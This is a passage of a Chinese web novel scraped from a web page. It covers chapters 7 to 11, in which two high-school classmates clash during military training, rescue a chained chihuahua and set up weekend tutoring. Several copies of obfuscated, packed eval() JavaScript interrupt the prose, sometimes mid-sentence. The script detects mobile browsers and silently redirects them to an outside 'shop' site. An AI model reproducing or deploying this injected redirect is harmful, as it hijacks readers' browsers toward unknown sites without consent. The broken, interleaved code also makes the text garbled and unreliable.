d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971443|193459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,沈群转头和他对视几秒,说:“予真,跟踪别人是很严肃的事。” “我想陆岳之同学不会那么无聊,应该只是碰巧吧。”段予真又拉拉他,拖长声音:“走了——” 沈群不再说什么,搂住段予真的肩膀,转过身继续往前走。段予真扭头看了下陆岳之,他还在后面慢慢地走着,面无表情,像个呆板的木头人。 走到二楼,段予真和沈群并肩继续往上,陆岳之独自回到寝室。 室友都没回来。他关上了门,坐在床边,看着对面段予真空荡荡的床铺。 人没在那里,只有柚子的香味很细微地存在着。 阳台晾衣绳上的几件衣服被风吹动,投在地面上半明半暗的阴影也不断摇晃。 陆岳之猛地起身,走到阳台将已经干透的内裤和床单扯下来。他想起很多不堪的东西,是昨晚做过的梦。 柚子清新的气味。俯视蝼蚁般鄙夷的眼神。手臂搂在腰间,脸颊贴在心口时热乎乎的触感……都是些模糊的片段,随着他的回忆被搅动得越发支离破碎。 他自认为坚不可摧的意志,竟在迷幻的梦境中产生了细微动荡。 陆岳之晃晃脑袋,又记起昨天晚上自己其实并没有做梦,这些回忆都源自于黑暗中虚无的幻想。它们在大脑中诞生的时候他无比清醒,借着夜色掩盖,盯着对面的空床铺,一边想象一边做出了龌龊的事。 * 下午的训练是站军姿,刚集合没多久,天空中便开始下起淅淅沥沥的小雨。 学生们忍不住开始发出抱怨的声音,随着雨势越来越大,教官终于吹了哨子,示意训练结束,让大家回宿舍休息。 陆岳之挤在躁乱的人群中回到寝室,抖了抖湿透滴水的衣襟,目光转了一圈没看到段予真的影子。但他半路上明明看见段予真走在自己前面。 他翻出件干净衣服换上,询问室友:“段予真没回来吗?” “回来又出去了,拿了把伞。” 陆岳之走到阳台边往下看,正看见段予真撑着伞的背影,与人流背道而驰,独自向基地大门的位置快步走去。 段予真踩着汇成溪流的雨水一直走到保安室,果然看到吉娃娃可怜地蜷缩在墙角边,在暴雨中战战兢兢发着抖。 保安今天上午出去了,还没回来,但狗仍然留在室外。这样大的雨,人都受不了,更何况是它。 段予真放下雨伞将它遮住,手指摸索着铁链想解开,但铁链末端是焊在柱子上的,吉娃娃脖子上面的自制项圈也被锁着,没有钥匙无法打开。他生硬地用手去扯,只会让小狗惊悸。 为什么要这样对它。 段予真喉咙里发出一声恨恨的呜咽,垂头丧气地半跪着,和吉娃娃一起缩在雨伞里面,拿着纸巾擦干它的身体,将它抱起来放在腿上不断地安抚。 “你躲在这里做什么?”陆岳之撑着一把旧格子伞停在段予真身侧,看清他怀里抱着那只脏兮兮的狗,严厉的话音想要收住,已经来不及。 段予真浑身都淋湿了,刘海还在往下滴水,抬头看着他的时候眼睛湿润泛红,牙齿轻轻咬着,身体发抖。 这种极度脆弱的样子,他只暴露了几秒钟,眼神随即就变回了寻常的高傲:“滚开。” 陆岳之不知道该说他什么好。 8. 08 “你就这么想感冒。” 陆岳之用鞋尖踢了踢段予真的鞋子:“一只狗而已,再说又不是你的。别老是多管闲事。” 段予真不再理会他,低头看着怀里瑟瑟发抖的吉娃娃。陆岳之被晾了一会儿,觉得没劲,本想转身就走,但看着段予真苍白的唇色,脚步一顿,接着脱下军训服外套丢在段予真身上。 “谢谢。”段予真抓住外套,将狗紧紧裹住,仍然没有离开的意思。陆岳之恼火地笑了:“有伞有外套还不够?它是多金贵,需要你一直抱着。” “它很冷。”段予真摸着吉娃娃的肚子:“而且受到惊吓了,所以抖个不停。我不能丢下它。” “段予真。”陆岳之半蹲在他旁边,连声发问:“这只狗真的值得你这么照顾它吗?再说世界上那么多流浪狗,被虐待的狗,难道你都要去管?” “保安一直不回来,你就一直守在这里?傻不傻。” 段予真没有说话,全神贯注观察着小狗的状态。他长长的睫毛沾上了雨滴,仿若泪珠一般,闪烁着晶莹的水光,眼尾微狭而上挑的弧度锐利不再,只有无限温柔。 陆岳之发现了段予真另一个恼人的地方,那就是决定要做什么事的时候,别人怎么都劝不动。他不会用语言反驳,而是沉默地我行我素。 在他选择不说话的时候,偏偏又会无意地露出最让人心软的神情。 两个人因为一只小狗在大雨中僵持着。 不知道过了多久,连队的教官也撑着伞跑了过来,调侃道:“你们俩在这说悄悄话啊?” 段予真抬头看着他:“王教官,请问保安什么时候能回来?” “他是补休了几个小时,应该快了,四五点钟吧。”教官看看手表。 “好。我可以用一下你的手机吗?” 教官看他眼泪花花的,可怜得要命,又看了眼陆岳之:“哟,这是下雨天想妈妈了。” 说着将手机拿出来递给他。 段予真拨通了一个号码,声音很轻地说了几句话就挂断了:“谢谢王教官。” 教官接过手机,俯身凑到他伞下看了看,恍然大悟:“……你又来看这只狗啊。” 他无奈地摇摇头,随后抬腿开玩笑地踢了陆岳之一下:“那你在这是干啥?守着老婆孩子么?” 陆岳之眉头跳了跳,绷着脸说:“您别开玩笑了。” 教官沉浸在自己灵机一动的幽默中哈哈大笑,转身离开了。 雨势渐渐转小,已经快到吃晚饭的时间了。陆岳之站起来:“你要吃什么。” 段予真拿出饭卡:“帮我买份排骨汤,排骨用清水涮一下,谢谢。” 陆岳之听出来他现在满脑子都是狗,买排骨汤也是为了给狗吃,没说话也没接饭卡,面无表情地走了。 等他买完饭菜再回到门口的时候,保安已经回来了,给狗解开了链子,大门外不远处停着一辆越野车。 段予真抱着重获自由的吉娃娃,跟站在车边那个身形强壮的男人正吵架:“你说它丑,说一遍就够了,干嘛老是说。要是别人这么说你,你会高兴吗?” 段予哲冷笑:“你在外面最好对我客气点。要是我不过来,看你拿这丑狗怎么办。” “我是给妈妈打电话,又没让你来。” “她要是能抽出时间,你以为我愿意来?再说一遍,在外面跟我说话客气点。”段予哲警告:“也不准再想一出是一出,否则立刻订机票把你送回二舅那里。” 段予真皱着脸:“你就会拿这招威胁我。” 段予哲路上临时买了条毯子,把吉娃娃包进去打了个结,只留出脑袋在外面,以防它上车之后乱动弄脏了自己的车。 他非常嫌弃地将吉娃娃接走了。 段予真目送车子开走,终于注意到自己手上和衣服上的脏污,皱了皱眉:“好臭。” 他走了几步,陆岳之撑着伞大步靠近,手里拎着两人份的食物:“你把它弄回去自己养?” “嗯。”段予真说:“跟保安买下来了。我会给它一个好的归宿。” “你……”陆岳之声音渐渐消失。 段予真从保安室外面的椅子上拿起自己的伞和陆岳之的外套:“走吧,回寝室吧,我要赶紧洗澡洗衣服。还得把你这件也一块洗了。” 陆岳之无法想象他这双娇贵的手搓洗自己衣物的场景,沉默两秒,低声说:“我可受不起。” 呼吸间嗅到段予真身上的柚子香,声音飘忽得像是呢喃。 段予真也没听清,抬脸看着他:“你说什么?” “没事。”陆岳之说:“回去先洗澡吃饭,衣服不用急。给你买了瘦肉粥和苦瓜蛋饼,冷了不好吃。” 回到宿舍段予真先去洗了个澡,穿着皱巴巴的睡衣,跟陆岳之坐在书桌边吃晚饭。 他还是嫌烫,小口地吃完蛋饼就要去洗手,陆岳之将纸碗拖过去搅着:“别着急。” 段予真叉开腿骑在凳子上坐着,两手撑在身前,看着陆岳之耐心地将粥搅动到温热适口,然后纸碗被推回了自己面前。 陆岳之说:“吃吧。” 段予真捏着不好用的一次性勺子:“怎么突然这么照顾我……看来你是开始喜欢我了。” 陆岳之噎了下,随即语速很快地反驳:“还挺自恋。” “自恋?或许吧。”段予真挑着粥里的肉丝,不以为意:“喜欢我是很正常的事。” 解决了一件总是挂心的烦恼,他现在很活泼,也容易亲近了许多。说完还转头看着陆岳之,眼角弯弯,甜蜜地笑了一下。 陆岳之因为他无心的几句话而如坐针毡,起身将自己的餐具收拾掉,然后钻进了洗手间。 段予真淋了雨本来就昏昏沉沉的,吃过饭便开始困,坐在床边发了会儿呆,打了个呵欠,到洗手间去小便。 陆岳之站在水池前面搓洗着衣服,听到动静转头看了他一眼,又闷头继续洗。 “不许偷看。”厕所隔间没有门,段予真边拉上帘子边瞪着他警告。 他小便的时候,外面搓衣服的声音静了片刻,接着变得更吵闹了。陆岳之可能是觉得被他侮辱了,就对着衣服泄愤。 段予真脑袋越来越晕,猜测自己应该是感冒了,找了点感冒药吃掉,倒头就睡。 早晨他爬起来已恢复了精神,洗漱完伸个懒腰,突然想起自己昨晚睡着忘了洗的衣服,想来找去,最后全在阳台的晾衣绳上找到了。 从军训服外套,短袖,再到裤子,袜子,还有内裤。 段予真跑到正在系皮带的陆岳之面前,十分惊讶:“昨天我睡着之后,严烈来找我了?” “没有。” “那我的衣服怎么回事。”段予真更惊讶了,十一分惊讶。 陆岳之黑漆漆的眼珠里像要冒出火来了,隐忍数秒,骨头紧绷着平静地说:“是我洗的。” 段予真想起昨天去上厕所,确实看到他在搓衣服。没想到里面还有自己的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971444|193459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他出神回忆着,却让陆岳之误会了他的表情,嘲讽道:“少爷这是嫌我洗得不够干净?” 段予真诚恳地说:“没有啊。你用的洗衣粉味道还不错。” 他说着,凑到陆岳之肩侧又闻了下:“薰衣草味。” 陆岳之猛地后退了一大步。 段予真抬头和他对视:“嗯?你这么怕我。” 他又没做恐怖的事,陆岳之却反应强烈,受了很大惊吓似的。 陆岳之没有回答,抓起帽子和腰带板着脸出去了。 军训剩下的两三天,陆岳之都一直避着段予真。 段予真本以为这么几天相处下来,他跟陆岳之也算不打不相识,按流程来说,差不多可以从熟人进阶到朋友了,突然之间陆岳之却又开始回避。 军训结束后,便要正式到校上课。早自习时间段予真跟着班主任去领了校服,走进教室找到自己的座位,坐下之后发现前桌就是陆岳之。 陆岳之表现得很冷漠,低头默读,完全没有班里其他同学那样好奇,就像是根本不认识段予真,也没兴趣认识。 段予真觉得他这人好古怪。 刚开学这阵子,段予真忙着适应新的校园环境,需要有熟人带领。严烈所在班级位置远了一点,他便和隔壁三班的沈群走得比较近。 沈群很有耐心地带着段予真熟悉校园,帮他处理琐碎的小事,比严烈这家伙靠谱得多。 所以双节假期,沈群邀请段予真去家里吃饭的时候,他也欣然答应了。 沈群的家在一个破旧的开放式老小区里面,房子还刷着老式的那种白绿卫生墙。他跟段予真介绍,其实这里原本是兰城一所师范学院的教师家属院,后来学院迁址,这个地方也逐渐破败了。 段予真发现周围的环境有些熟悉,直到两个人路过一条巷子,他突然停了下来。 沈群问:“怎么了?” “我知道陆岳之住在这里。”段予真指着巷子尽头的一栋老楼。 沈群笑了笑:“这我倒是不清楚。不过,也没什么奇怪的,陆岳之家里的条件跟我家应该差不多,这边房子很便宜。” 段予真哦了声,拉着沈群斜挎包的带子,跟着他继续往前走。 来的路上他们经过菜市场,沈群顺路就买了些菜。上楼之后打开防盗门,扑面而来一股淡淡的墨水味。房子没怎么装潢,布置得很简单,博古架到茶几再到书柜,堆满了书籍,客厅墙上挂着张装裱过的毛笔字。 段予真好奇地走到墙边,歪着脑袋辨认:“画凌烟,上甘泉。自古功名属少年。陆游的词。” “对,你认得。”沈群看着他总是忍不住笑,因为在他眼里,段予真独有一派天真可爱的神气,太讨人喜欢。 “这两句很好,但是考虑到整体意境的话,挂在这里不太合适吧。”段予真回头和他讨论:“不如换一下。” 沈群挽起袖子,拿了个盆坐在饭桌边摘菜叶:“予真觉得换什么好?” “一点浩然气,千里快哉风。”段予真坐下来看着他摘菜:“多潇洒。” “你说得对。”沈群说:“等会儿吃完饭我再写一张挂上去。” “我帮你写吧。” “你会写毛笔字?”沈群笑着问。 段予真挠挠鼻尖,神情短暂地不自然了一下:“嗯……自学的。想家的时候就会做些跟家里有关的事。” “那好,你帮我写。笔墨在书房里,你随便用就是。”沈群对他很放心。 9. 09 段予真在沈群的书房里挑选,铺开一张尺寸合适的宣纸,研好了墨,便拿起毛笔开始书写。 他写得太投入,直到写完最后一个字才发现沈群站在桌子旁边静静看着自己,目光中满是欣赏。 段予真丢开笔:“怎么样?” “很有气韵的行书。”沈群称赞:“你天赋真好。” “什么天赋啊,都是我花时间一笔一划练出来的。”段予真不满地反驳。 沈群跟他道歉,又拿起手里的一片菜叶给他看:“予真,你看这个。” 段予真来到他面前凑近去看,菜叶中央躺着只很小的蜗牛,正跃跃欲试地探出触角。段予真伸手戳了下它的壳,蜗牛立刻缩了回去。 “拿着玩吧。我去烧菜了。等这副字晾干之后,我要把它裱起来挂在客厅。多谢予真的墨宝。”沈群轻轻拧了下段予真的脸蛋。 段予真眨巴眼睛看着他:“你很喜欢我吗?” 沈群思考了一下,苦恼地反问:“我应该怎么回答你才合适?” “难道是我感觉错了。”段予真垂下眼帘:“是因为我妈我爸,还有我嫂子,他们都喜欢捏我的脸。就像你刚才那样,轻轻地捏。所以我才问的。” 沈群明白过来,他说的“喜欢”,含义其实很单纯,于是又笑了:“没错,我很喜欢你,予真。” 他在灶台前面烧菜,段予真坐在厨房的一张板凳上玩着菜叶上的蜗牛,玩了一会儿,将蜗牛放生到外面的阳台,认真洗过手,开始往饭桌上摆碗筷。 今晚这顿饭只有他们两个人。 沈群幼年时父母离异,父亲前两年病逝了,母亲高蕊目前则在一家手工艺制品厂当会计,平日吃住都在厂里,休假才回来。 沈父生前是资深教师,沈家那边也出了好几个在编的亲戚,算是书香门第。但沈父与高蕊分开的原因却并不体面,是因为出轨。事发后,高蕊没有理会沈父的忏悔,当机立断地带着儿子离了婚。 所以,沈群一直刻意地疏远着沈家那边的亲戚关系,尽管他们可以在物质上提供些许帮助,但他不愿背叛母亲的尊严。 因为邀请了客人来,沈群准备的晚饭比平时要丰盛些。他烧了一条鱼,一道清炒的时令蔬菜,还有一大碗年糕汤。整体的口味都比较清淡。 段予真头回见到年糕汤这种吃法,看着沈群盛了半碗放在自己面前,低头皱着鼻子嗅了嗅,只有淡淡的咸香。 “这是我妈家乡那边的做法。我烧得没有她好,等哪天她回来你再来尝尝她做的,就知道有多好吃了。”沈群用干净的筷子夹下鱼腹位置那一大块细嫩的肉,放在段予真碗里:“开饭吧。” 段予真吃了一顿很有新鲜感的晚饭。 吃完饭,段予真跟着收拾碗筷的沈群进到厨房:“该洗碗了。” 沈群说:“嗯,我来吧。” “你是不是觉得我不会洗碗?”段予真认真地说:“其实我会洗,我还会做很多家务。但是我实在不想洗碗,所以,我还是去楼下扔垃圾好了。” “你也可以坐在客厅看看书,把剩下的事都交给我。”沈群系上围裙。 段予真摇头:“我就要丢垃圾。” 沈群知道他是觉得自己的腿上下楼不方便,垃圾放久了又会招蚊虫,于是不再坚持:“那就麻烦你了。” 段予真拎着垃圾袋下楼,转来转去才找到小区附近的一个公共垃圾桶,把东西丢了进去。 他拿着湿纸巾擦手,忽然看到程斯言骑单车从外面的马路经过。 段予真跑出去,看着程斯言的背影消失在道路拐弯的地方,正纳闷这个人怎么会来这里,一转身,就看到陆岳之站在身后不远处,手里拎着超市的塑料袋。 陆岳之看到他也愣了下,随即就板起脸:“你又来这里做什么。” 段予真还在脑子里想着程斯言为何跑来这儿,他家又不在这边……目光落在陆岳之脸上,他就想明白了。这两个人本来就是狐朋狗友,陆岳之自己都承认过了,凑到一起玩也没什么好奇怪。 “你管得着吗。”一旦牵扯到程斯言,段予真看陆岳之就又变得不顺眼了,转身要回到小区里面。 陆岳之声音很低沉:“你不说我也知道。沈群就住在这块,你是来找他的。挺好,开学还没多久就已经登堂入室,直接跑到别人家里去了。” 他语气古怪,字字句句冒着倒牙的酸意。 “我不是来找他,而是已经在他家里吃过晚饭了。”段予真反驳:“晚上我还要在他家睡觉呢。怎么样,你这个交不到朋友的家伙。” 开学之后他观察到了,或者说很难不注意到,陆岳之在班里甚至在整个学校都没有经常互动的朋友,总是很孤僻地独来独往。他的性格,在这个年龄段的同龄人里也实在不容易受到欢迎。 “朋友难道是什么很稀罕,必须要有的东西吗?”陆岳之不屑地嗤笑。 段予真也嗤了下:“你说这种话,也不怕你的好朋友程斯言听了伤心。” 陆岳之心里根本就不认为自己和程斯言是朋友,他也的确不需要朋友,漠然道:“只有你们这些富家子弟,才有空计较鸡毛蒜皮的情绪问题。矫情又做作。” 段予真不想再浪费力气和他争执下去,叹了口气,转身回到小区去找沈群。 晚上段予真洗过澡,穿了一件沈群以前的旧衣服,坐在凉席上看电视剧。 平时他很少会看这类讲述家长里短的故事,要么看看球赛,要么就是看游戏直播。这个频道是沈群调过来的,他图新鲜看了一会儿,竟然也看进去了。 沈群也洗了澡,拿着毛巾遮遮掩掩地站在门口:“予真,衣服还合适吗?” 他穿着五分工装裤,露出了残疾的右腿,怕吓到段予真所以姿态有些不自然。 “合适。”段予真对他招招手:“你过来啊。” 沈群犹豫着来到他的面前。段予真低头看看他的小腿,除了有几片疤痕和红肿之外,看不出异常。 他不知道沈群的腿具体是怎么残疾的,也怕触及到别人心里的伤痛,所以没有追问。段予真往旁边挪了挪,让出位置:“你给我讲讲这一集前面发生了什么吧,这两个人怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971445|193459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么就打起来了?” 沈群笑了笑,在他身边坐下:“他们是两兄弟,先后爱上了女主角。女主角现在的身份还是他们爹娶回来的继室,所以这两个人谁也没办法,互相嘲讽了对方几句,就打起来了。对了,女主角进入他们家是为了复仇。” “好精彩!”段予真津津有味地继续看。 看了一会儿,他问:“那玉珍最后复仇成功了吗?” “嗯,成功了。”沈群说:“这是重播剧。你不介意的话我可以给你剧透。” “你说。”段予真抱着膝盖转头看着他。 沈群将床边的电风扇定了方向,慢慢地跟段予真讲着后面的剧情:“你有没有看到那个管家?管家应该算是男主角,也是为了复仇来到这个宅子里的。最后这家人全死了,玉珍和管家私奔了。” 段予真听得入迷:“竟然是这样。” “这部剧很老,经常重播。我都看了几十遍了。”沈群抖开夏凉被,起身将遥控器拿到床上:“这集马上就结束了,每天晚上就放两集。要不要看聊斋?” “看看吧,我没看过呢。”段予真兴冲冲拉过被子的一角,和他一起靠在床头上,边看边讨论。 看了两集聊斋,床头柜上段予真的手机响了起来。沈群拿过去递给他,段予真不用看是谁就接了:“干嘛。” 沈群听着他凶巴巴的语气,忍俊不禁。 严烈跟段予真报备过之后,就一直在跟几个哥们打台球。但他满脑子想着段予真今天在外面过夜,怎么都放心不下,知道会被他凶还是打了个电话过来:“小真你在那边玩得怎么样?要不要我去接你?” “我在看电视呢。”段予真说:“看完要睡觉了,你别烦我。” 沈群在旁边低声问:“还喝水吗,予真?” 严烈听到他的声音,急忙问:“你们俩要睡一起?他家里就一张床啊?!” “对啊,不行吗。”段予真懒懒地回答。 其实沈群原本安排他睡在母亲的主卧,但这边有电视可以看,段予真就不想动了。 “不行,我去接你!”严烈哐当一下丢下球杆,却听段予真说:“严烈你别犯病。我好端端躺在床上,谁要你来接。” “那你们也不能躺一张床!”严烈顿了顿,急赤白脸地说:“让那个姓沈的滚去睡沙发。” “闭嘴,再吵拉黑你。”段予真把电话挂了。 沈群倒了水端过来,段予真喝了两口,抱住枕头继续看电视。 “你们关系真好,可以这样吵吵闹闹,也不会散。”沈群调侃。 段予真说:“因为我比较包容他。” “你脾气好。”沈群不看电视了,而是一直看着他,目光很柔和。段予真否认:“我脾气可不好……只是,严烈这个人太傻了,不得不包容。” 他眼里的严烈和一条头脑简单的大型犬无异,带出门的时候,不抓紧绳子万一被别人骂了,主人自然是要负责的。所以平时就得好好管教,赏罚分明。 看着电视,段予真脑袋歪靠在沈群肩上,渐渐睡着了。 10. 10 长假再有一天就要结束了。这个假期段予真过得挺忙碌,中秋节时父母跟哥嫂都回来住了两三天,节后又陆续离开,最后只剩下他和宋姨。 段予真早晨起床喝了杯冰牛奶,吃了点自己拌的沙拉就出门了。宋姨看他最近天天吃这东西,想帮忙准备,被他拒绝。 段予真觉得假日早饭的精髓就是得自己糊弄。太正式,太当一回事的话,他就失去了进食的胃口。 上午的行程很满,段予真先去预约好的钢琴老师家里试课,之后又去健身。练完洗过澡,刚刚有点疲惫。他找了家日料店吃中饭,点完餐写了会儿带出来的作业。 包间的障子门被轻轻拉开,服务生进来上餐:“您的鳗鱼饭,请慢用。” 段予真尝了一口就不高兴地吐出来,用麦茶漱过口,按下服务铃。 “您好,您有什么需要吗?”服务生小心地问。 “酱汁太咸。你们店水平就这么次,鳗鱼饭都做不好。”段予真说:“你拿走让厨师自己尝一下吧。” “非常抱歉,这两天有个新来的厨师,应该是还没掌握好做法。这边马上让主厨给您重做一份可以吗?”服务生战战兢兢地道歉。 段予真叹了口气:“尽快。” 过了一会儿,门又被拉开,这次来的不是服务员,而是犯错误的厨师本人,很高大的影子投在榻榻米上,将段予真都罩住了。 他抬头去看,继而轻轻笑出了声。 陆岳之默不作声放下重新做好的鳗鱼饭,还有一杯冰淇淋苏打,随后鞠躬向他道歉:“很抱歉因为我的出品问题影响到您的用餐体验,这边给您做了份饮品,希望得到您的原谅。” 模板化的,用词卑微的语句被他一板一眼地说出来,显得格外别扭。 段予真安静听着,笑得肩膀发抖。 “好笑么。”陆岳之恢复了不客气的语气。 “你穿这身衣服还真合适。”段予真用欣赏的眼光看着他身上略有些修身的深色厨师服。简单的纯黑最衬气质硬朗的男人,陆岳之宽肩窄腰的优势也被发挥得不错。 陆岳之嗤了声:“肤浅。” “是不是忘了,现在我可是你的客人。”段予真上一秒刚威胁完,下一秒就懒洋洋地揉着后颈:“算了你快坐下吧,我仰头仰得脖子都酸了。” 陆岳之犹豫了下,拉上门,盘腿在他对面坐着。 段予真说:“要喝水自己倒。” “你到底想说什么?我还在上班。” “你是不会好好说话吗,看你嘴唇干得都起皮了,我才好心让你喝水的。”段予真嫌弃地看着他干裂的嘴唇。 陆岳之不自在地拿过一只杯子,倒了半杯水一饮而尽。 “怎么会想到跑这里来工作。”段予真用勺子戳着已经不想吃的鳗鱼饭。 “这家店时薪高。”陆岳之看看他,又加了句:“程斯言介绍我来的。” 他知道提起程斯言,段予真会不高兴,但还是提了。他是故意的,看到段予真产生负面的情绪波动,他脑子里就会有种不正常的快.感。 其实军训那些天,在那个封闭的环境里,他对段予真产生的好奇,还更多的是带着一种想要接近的欲.望,但随着开学,两个人的接触变少了,段予真对他来说好像渐渐地变得遥不可及。 加上程斯言又告诉了他一些段家的事,他才恍然大悟。自己跟段予真的阶层天然就是对立的,再怎么努力也不会成为同类。 这样的想法让他拥有了更多对自我的掌控感,也轻松了不少。 段予真的反应却并不像陆岳之以为的那样强烈,反而很同情地说:“那你要加油了,因为你做的食物实在不怎么样。我刚才可没有故意找茬,是真的一点都吃不下去,才会叫服务员过来。” “……”陆岳之站起来:“我知道了。” 段予真写完作业,将那杯苏打喝掉,就到前台结账离开。 他走出店门没多远,陆岳之换下厨师服,拎着个袋子脚步匆匆跟了上来,脸色很臭。 “你被开除了?”段予真没想到会有这么严重的后果。 陆岳之瞥他一眼:“没有,我兼职时间到了。现在去要赶车去给人补习。” 段予真哦了声。两个人一块走到马路边,陆岳之在公交车站焦躁地等着,时不时拿出手机看时间。段予真下午没有急事,坐进车里想了想,终究还是不忍,让司机把车开到他面前:“上来吧。” 陆岳之说:“我恐怕会弄脏你家的车。” 他身上还带着日料店后厨那股洗不干净的淡淡鱼腥味。 “弄脏的话洗就好了。”段予真不知道这人脑子怎么长的,这么死板。陆岳之又看眼时间,拉开车门坐了进来。 “谢谢。”他不咸不淡地说。 段予真抱着手臂:“要去哪赶紧告诉司机。” 陆岳之报了个小区的名字。 车子开出去,他一直很呆板地保持着端坐的姿势,目不斜视。段予真看见他缠了好几个创可贴的手指:“工作很辛苦吗?” 陆岳之跟着他的目光,摊开双手也看了看:“还行,比工厂强一些。” “你还进过工厂。” “攒学费。”陆岳之慢慢地说:“现在辛苦几年,至少以后不用再像我父母一样循环,干一辈子苦劳力。我还有个弟弟在老家农村呆着,也需要生活费。我们家负担很大。” 他笑了下,不知道是自嘲还是苦笑,干巴巴的。 这个家伙的家庭情况原来这么糟糕。段予真暗想。 段予真不再说话,他脑子里思考着一些事情。 节后到校上课,早自习的时候段予真给陆岳之递了个小纸条。 “你现在是给谁补习?补哪些科目?一个小时多少钱?请回答:p” 陆岳之看完在纸条背面写了行字,递回给他。 “外校的一个高一生/理综/五十。” 早自习结束,段予真用签字笔的笔盖戳了戳陆岳之后背,等他转过身来,说:“你要不要来我家给我补,一个小时两百。” 陆岳之看着他的眼睛:“这是在开玩笑吗?” “也许吧。你不愿意就算了。”段予真转着笔:“我还有一大堆人可以选。” 陆岳之没有立刻答应。等到课间操的时候,他才找到和沈群一起坐在香樟树底下的段予真。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971446|193459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈群停止了话题,但并没有识趣离开的意思。 “我和段予真有话要说。”陆岳之看看他。 沈群看向段予真,似乎觉得陆岳之的行为是在骚扰,目光中有些担忧。段予真笑了一下:“你坐着吧,我跟他去那边说两句话。” 他起身带着陆岳之走到附近的绿化带旁边。 陆岳之盯着沈群的腿看了几秒。敏锐地觉察出段予真是如此体贴,连最微末的细节也会照顾到。 然而这是朋友才有的待遇。他和段予真可不是朋友,所以只能公事公办。 “你要补哪些科目?”陆岳之问。 段予真的态度很无所谓:“随便啊。你擅长哪些科目。” 陆岳之皱起眉头,觉得段予真未免太过戏谑,甚至开始怀疑他前面随口说的那些邀请,只不过是个故意要让自己落空的恶作剧。 “理科都行。”陆岳之口气变得生硬。 段予真点点头:“好,那就……数学吧。周末两天,每天下午两点到六点,四个小时。这个时间你能接受吗。” 下午一点,他在日料店的兼职刚好下班。 陆岳之嘴唇动了动,声音很低:“可以。” “给我个地址,到时候我让司机去接你。”段予真拿出手机。 陆岳之几乎眩晕了,稀里糊涂地跟段予真交换联系方式。 段予真的头像非常幼稚,竟然是卡通风格的奥特曼。这系列的角色很多,陆岳之认不出来是哪个,但不管是哪个,只能说都无比的幼稚。 “你头像真丑。”段予真嫌弃地说。 陆岳之的头像是注册账号时随手拍的雪景。他又没有特意钻研过拍照,随手一拍,能用不就行了。陆岳之看着段予真的眼睛,忍不住想说,那也比幼稚好。 但段予真皱眉编辑备注的样子让他说不出还击的话。 段予真认真做事时的神态与平日的懒散判若两人,看起来甚至有点严肃,秾艳的眉眼覆着两三分冷意,令人不敢惊扰。 公事公办完,段予真就从他身边离开,回到了沈群那里去。两个人继续并肩坐着,沈群拉过段予真的右手,不知道是在看掌纹还是做什么,捏了捏指尖,又翻过去细细地检查着形状漂亮的指甲,时不时段予真就会笑一下。他好像很容易被沈群逗笑。 陆岳之心口又涌上来一股股反胃的感觉。看到段予真和严烈呆在一起会这样,看到段予真和沈群呆在一起也会这样。 他的反胃是有理由的。严烈太躁动,沈群太温吞,和艳光四射的段予真都不是特别匹配。 只有段予真单独地站在他面前时,这种不适的感觉才会消失。 取而代之的是莫名的心慌、紧绷,总不自觉地怀疑自己现在的形容是否妥帖,情绪有没有露出破绽。 这种状态在陆岳之身上相当反常,但他找不到原因,也就无从改善。思来想去,最后还是怪罪在段予真身上。 他最近连睡觉都偶尔会梦到段予真,但梦里的段予真十分亲切,他也就不再紧张了,甚至敢于做出些冒犯的事。可现实中的段予真却又常常是冷若冰霜,以至于他彻底陷入混乱,不知该如何是好。 11. 11 周六的下午,陆岳之结束日料店兼职,拎着备课资料坐上了段予真家里的车。 这是他第一次踏进别墅大门。前院草坪开阔,放着遮阳伞和一把躺椅,旁边的露营桌上有没喝完的果汁。 陆岳之被请进客厅,坐在沙发上等了近半小时,段予真终于抱着吉娃娃出现。 他穿得很休闲,浅蓝色薄毛衣的质感非常柔软,袖子叠到手肘处,露出线条纤瘦肤色白皙的小臂,两手举着pancake,边走边低头亲着它的圆脑袋。 吉娃娃已经适应了全新的宠物生活,戴着顶红苹果形状的帽子,穿着斗篷,竟也被装扮出了些许养尊处优的气质。 “你迟到了。”陆岳之从沙发上站起来,不悦地看着段予真。 “别搞笑。”段予真抱着狗走近,但是没有停留,直接从沙发后面经过,朝门外走去:“我忙着呢,还得带pancake去做体检。” 